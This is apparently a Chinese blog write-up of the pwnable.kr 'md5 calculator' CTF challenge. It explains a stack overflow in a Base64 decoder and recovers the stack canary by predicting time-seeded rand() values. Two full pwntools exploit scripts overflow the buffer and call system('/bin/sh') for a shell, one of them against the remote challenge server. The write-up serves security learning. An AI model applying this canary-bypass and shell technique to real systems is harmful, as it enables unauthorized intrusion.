pwnable md5 calculator(随机数生成)

本文详细解析了一种利用栈溢出攻击技术,针对设置了Canary和NX保护的程序进行破解的方法。通过精心构造的输入,绕过安全防护,实现远程代码执行。文章提供了具体的漏洞分析、攻击脚本及优化方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

开启了canary和NX保护

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [esp+18h] [ebp-8h]
  int v6; // [esp+1Ch] [ebp-4h]

  setvbuf(stdout, 0, 1, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("- Welcome to the free MD5 calculating service -");
  v3 = time(0);
  srand(v3);
  v6 = my_hash();
  printf("Are you human? input captcha : %d\n", v6);
  __isoc99_scanf("%d", &v5);
  if ( v6 != v5 )
  {
    puts("wrong captcha!");
    exit(0);
  }
  puts("Welcome! you are authenticated.");
  puts("Encode your data with BASE64 then paste me!");
  process_hash();
  puts("Thank you for using our service.");
  system("echo `date` >> log");
  return 0;
}

大致看一下,这里的my_hash函数有点怪,它让canary和一些随机数进行了加减运算

然后进入process_hash()函数

unsigned int process_hash()
{
  int v0; // ST14_4
  char *ptr; // ST18_4
  char v3; // [esp+1Ch] [ebp-20Ch]
  unsigned int v4; // [esp+21Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  memset(&v3, 0, 0x200u);
  while ( getchar() != '\n' )
    ;
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, (int)&v3);
  ptr = calc_md5((int)&v3, v0);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return __readgsdword(0x14u) ^ v4;
}

输入数据进行了base64解密放入v3
v3不能存储1024字节解密后的数据,造成了栈溢出。
在本地和远程时间相同生成的随机数是相同的,可以利用这一点获取到canary
hashc.c

#include<stdio.h>
#include<time.h>
int main()
{
	time_t seed=time(0);
	srand(seed);
	int v4,a;
	int v[8];
	for(int i=0;i<=7;i++)
	{
		v[i]=rand();
		
	}
	printf("%x",v[4]-v[6]+v[7]+v[2]-v[3]+v[1]+v[5]);
}

exp.py

from pwn import *
import os
import base64
bss=0x0804B0E0

call_system=0x08049187
def get_key():
        output=os.popen("./hashc")
        key=int(output.read(),16)
        print "key="+hex(key)
        return key
#p=process("./hash")
p=remote("pwnable.kr",9002)
#gdb.attach(p,"b *0x0804902B")

p.recvuntil("Are you human? input captcha : ")
key=get_key()
data=int(p.recv())
print "data="+hex(data)
canary=data-key

print "canary="+hex(canary)
p.sendline(str(data))
p32(canary)
payload=b64e("A"*0x200+p32(canary)+"a"*12+p32(call_system)+p32(bss+716+1))
print payload
print "len_payload=",len(payload)

payload+="\x00/bin/sh\x00"

p.recvuntil("paste me!")
p.sendline(payload)

p.interactive()

不过这个脚本有一点问题,canary是减过之后获取到的,如果为负数在p32的时候会失败。所以要多次尝试。

贴出一套更优的exp
hashc.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) 
{
    int m = atoi(argv[2]);    // argv[2] = captcha
    int rands[8];
    int i;

    srand(atoi(argv[1]));    // argv[1] = time
    for (i = 0; i <= 7; i++)
    {
        rands[i] = rand();
    }

    m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];

    printf("%x\n", m);
    return 0;
}

exp.py

import os
import time
from pwn import *

context(os='linux', arch='i386', log_level='debug')

p = process("./hash")
gdb.attach(p,"b *0x08049026")
p.recvuntil(' : ')
captcha = p.recvline().strip()
t = int(time.time())    # time.time() return float value

cookie = int('0x' + os.popen('./cal_stack_canary %s %s' %(t, captcha)).read().strip(), 16)

p.sendline(captcha)
p.recvuntil('me!\n')

call_system_addr = 0x8049187
g_buf_addr = 0x804b0e0

payload = 0x200 * 'a'
payload += p32(cookie)
payload += 12 * 'b'
payload += p32(call_system_addr)
payload += p32(g_buf_addr + 537*4/3)

payload = b64e(payload)
payload += '/bin/sh\x00'

p.sendline(payload)

p.interactive()

不仅加载文件还有参数,新的调用姿势。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值